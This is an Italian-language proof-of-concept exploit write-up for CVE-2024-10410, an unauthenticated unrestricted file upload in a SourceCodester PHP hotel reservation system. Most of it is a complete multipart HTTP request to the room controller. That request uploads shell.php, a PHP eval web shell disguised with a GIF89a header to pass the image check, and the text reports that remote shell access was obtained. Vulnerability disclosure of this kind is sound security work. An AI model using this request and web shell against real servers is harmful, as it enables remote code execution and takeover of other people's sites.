
Exploit proof-of-concept per CVE-2024-10410: upload di file senza restrizioni in Online Hotel Reservation System. Dimostra il bypass della validazione delle immagini tramite iniezione di header GIF per ottenere l'esecuzione remota di codice.
Sistema di prenotazione alberghiera online in PHP/MySQLi con codice sorgente | SourceCodester
Una vulnerabilità ad alto rischio è stata trovata in Online Hotel Reservation System, che interessa la funzione di upload del file /marimar/admin/mod_room/controller.php. L'operazione di bypass del rilevamento del parametro image ha consentito un upload di file illimitato. Gli attacchi possono essere lanciati da remoto.
marimar\admin\mod_room\controller.php

Dopo che il file è stato caricato, la variabile $image_name modifica il nome del file in base all'anno, al mese e al giorno correnti, quindi aggiunge _ e il nome del file caricato
La vulnerabilità risiede nella variabile $image_size, che rileva se si tratta di un file immagine e, in caso contrario, disabilita il caricamento. Quindi tutto ciò che dobbiamo fare è aggiungere l'intestazione dell'immagine davanti al file dannoso iniettato per bypassare il rilevamento
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
Il codice dannoso è stato preceduto da GIF89a camuffato da gif. Costruendo il pacchetto di upload, si può notare che il cookie viene eliminato, indicando che il sistema non dispone di autenticazione e può lanciare attacchi da remoto

Nonostante fosse un avviso, il file è stato caricato con successo e il nome del file è stato dedotto in base all'ora corrente del 25/10/2024 alle 21:55


Ottenuta la shell con successo